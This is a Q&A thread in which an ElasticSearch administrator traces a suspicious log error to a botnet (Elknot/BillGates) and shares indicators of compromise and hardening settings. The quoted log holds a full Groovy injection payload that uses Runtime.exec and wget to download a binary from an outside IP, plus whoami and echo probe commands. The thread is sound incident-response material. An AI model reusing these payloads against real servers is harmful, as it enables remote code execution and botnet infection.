ElasticSearch Groovy script error, dubious request

Question

I've just updated to ElasticSearch 1.7.1 and was filling the database. Whilst I kept getting the following error (or debug message):

[2015-08-09 03:20:23,429][DEBUG][action.search.type       ] [NODE_NAME] [index_name][0], node[vw6fq_XPSuWsBWHN6aKepw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@6dee1ca] lastShard [true]
org.elasticsearch.search.SearchParseException: [index_name][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/XJ1 http://116.255.194.18:8080/XJ1\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:747)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:572)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:544)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:306)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:231)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:228)
    at org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:559)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.ScriptException: scripts of type [inline], operation [search] and lang [groovy] are disabled
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:285)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:483)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:79)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:731)
    ... 9 more

At first, I thought about fixing this error, but I haven't written any Groovy scripts. So I started reading this message, and found:

Runtime.getRuntime().exec(\"wget -O /tmp/XJ1 http://116.255.194.18:8080/XJ1\").getInputStream()

The IP got me confused, because it's not mine (it's Chinese). So I sandboxed the wget, and created a string (from byte []), which resulted in:

CC: (GNU) 4.4.6 20110731 (Red Hat 4.4.6-3) GCC: (GNU) 4.4.6 20120305 (Red Hat 4.4.6-4)  .symtab .strtab .shstrtab .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .text .fini .rodata .eh_frame_hdr .eh_frame .ctors .dtors .jcr .dynamic .got .got.plt .data .bss .comment   
crtstuff.c __CTOR_LIST__ __DTOR_LIST__ __JCR_LIST__ __do_global_dtors_aux completed.5972 dtor_idx.5974 frame_dummy __CTOR_END__ __FRAME_END__ __JCR_END__ __do_global_ctors_aux main.c rdtsc _GLOBAL_OFFSET_TABLE_ __init_array_end __init_array_start _DYNAMIC GET_Flood data_start __errno_location@@GLIBC_2.0 srand@@GLIBC_2.0 connect@@GLIBC_2.0 getpid@@GLIBC_2.0 pthread_join@@GLIBC_2.0 strerror@@GLIBC_2.0 __libc_csu_fini sysconf@@GLIBC_2.0 _start pthread_exit@@GLIBC_2.0 Get_Net_Message CreateTimeer random@@GLIBC_2.0 Send_Host_Message signal@@GLIBC_2.0 NetSpeed __gmon_start__ _Jv_RegisterClasses _fp_hw rewind@@GLIBC_2.0 __isoc99_sscanf@@GLIBC_2.7 DoorThread SynFLood_Message _fini inet_addr@@GLIBC_2.0 write@@GLIBC_2.0 sendto@@GLIBC_2.0 fgets@@GLIBC_2.0 memset@@GLIBC_2.0 AnalysisAddress getOutRates UDP_Flood __libc_start_main@@GLIBC_2.0 uname@@GLIBC_2.0 htons@@GLIBC_2.0 read@@GLIBC_2.0 perror@@GLIBC_2.0 usleep@@GLIBC_2.0 SYN_Flood _IO_stdin_used gettimeofday@@GLIBC_2.0 Stream_Flood id ServerConnectCli __data_start TurnonKeepAlive DoorSocket ioctl@@GLIBC_2.0 socket@@GLIBC_2.0 getNetRates fclose@@GLIBC_2.1 bcopy@@GLIBC_2.0 GetCpuRates SetDNSHead memcpy@@GLIBC_2.0 strlen@@GLIBC_2.0 MainThread DealwithDDoS fopen@@GLIBC_2.1 _SendInfo __dso_handle strcpy@@GLIBC_2.0 __DTOR_END__ __libc_csu_init printf@@GLIBC_2.0 StopFlag DNS_Flood select@@GLIBC_2.0 close@@GLIBC_2.0 MainSocket strstr@@GLIBC_2.0 time@@GLIBC_2.0 ICMP_Flood m_OnlineInfo _ConnectServer __bss_start CpuSpeed pthread_create@@GLIBC_2.1 sleep@@GLIBC_2.0 __ConnectServer send@@GLIBC_2.0 _end puts@@GLIBC_2.0 _ServerConnectCli setsockopt@@GLIBC_2.0 ChName rand@@GLIBC_2.0 bzero@@GLIBC_2.0 usage netuse CheckSum fread@@GLIBC_2.0 getsockopt@@GLIBC_2.0 SendSpeed _edata snprintf@@GLIBC_2.0 gethostbyname@@GLIBC_2.0 exit@@GLIBC_2.0 __i686.get_pc_thunk.bx main Get_Cpu_Message _init

so I found c code, I found DealWithDDos call interesting.

I couldn't find out what this is code is, where it came from, and why it is trying to run. Anyone know what this is? And how to get rid of it?

PS, I also got another error message, another strange script which calls exec(\"whoami\"). This code, according to ends.cc is used to try to unsandbox Groovy, by executing a system command.
exec(\"echo qq952135763\"), only match is (wait for it...) Chinese...

Update

So, thanks to the comment from Val, the problem-makers: Chinese Botnet. Botnet report ElasticSearch: The Elastic Botnet Report

Also, since I just updated ElasticSearch, created entirely new indices (everything new), I'd already excluded ES from the outside (apparently too late for the vulnerability, but still), so some process must be running to send a request to ES. Which? Where is the script called from?

(Notable) Update 2

In the report, described in Update, they describe 2 (related) malware products that target ElasticSearch: BillGates and Elknot.

Notable on Elknot is on the last paragraph of page 7:

The authors of the Elknot dropper did not provide any means for persistence after a reboot, and once the victim’s machine is rebooted by an administrator, or system crash, the infection ceases.

BillGates malware: You can check whether you have this form by (quote from 3 very last page):

One common indicator of a BillGates infection is the existence of /tmp/moni.lock as well as /tmp/bill.lock files on the victim’s machine. Additionally, directories off the /usr/bin directory containing the name bsd-port may be suspect.

Still, how to get rid of it?

• Elknot -> Reboot all servers (at the same time!)
• BillGates -> suggested when this form of malware is detected, a reinstall 3

Answer 1

Later Update
Prior note: for some reason this thread is still visited, which leads me to warn, upgrade ElasticSearch to > 1.5 as soon as possible. Make sure {your_external_ip}:{port} is NOT callable from anywhere but localhost - if any. Lastly, be aware of using Groovy, especially outside the sandboxed.

---

Original Answer

So two separate problems arose here:
1) As @Val pointed out, the Chinese Botnet got me (they, in hindsight got me before, but I wasn't running a version of ElasticSearch where scripts were disabled by default). This botnet has been investigated by Novetta where they found that two main scripts are run (when the computer is already infected): Elknot and BillGates - which share some code. (They found 10 different scripts to try to infect servers, not all of high quality (see page 41-541)

A big difference between the two, is Elknot is much simpler in that it does not try to become persistent, BillGates does. To find out which of these versions you've got, you can do several things:

• Perform a reboot. When (after a couple of hours) the system does not show strange activities (wget -o), you had Elknot, otherwise you probably have BillGates
• Since, in contrast to Elknot, BillGates is persistent, you might be able to see its signature in: /tmp/{moni.lock, notify.file, gates.lock, bill.lock}, you must be able to see it in: /etc/rc?.d directories file SDbSecuritySpt97, /etc/resolv.conf (see page 25-31 1), use the lsof command (see page 39-41 1)

Luckily, for me, it appears I had elknot, so I don't need a reinstall. But I still had similar warning messages including a Runtime call to whoami and echo qq{some numbers}. Why?

Because a known vulnerability (as stated in Update in question) is when the Groovy script calls a system command. This can unsandbox the script, giving it power.

This problem was not resolved by the reboot since it only stopped elknot. Apparently something else was the problem. I found I could still call external.ip.address:9200 over HTTP to get response. Also, from an external source, I could bind a node to the network - dumb (I thought I solved that months ago). To counteract this, pay attention to the following settings in elasticsearch.yml:

############## HTTP ################
#at least
http.host: localhost 
#preferrably disable http entirely. Http is unnecessary on the data nodes, since they communicate over the transport
http.enabled: false 

########### TRANSPORT ##############
# local only. Without this property everybody in the world can connect to your ES
transport.host: ["192.168.0.10","localhost"]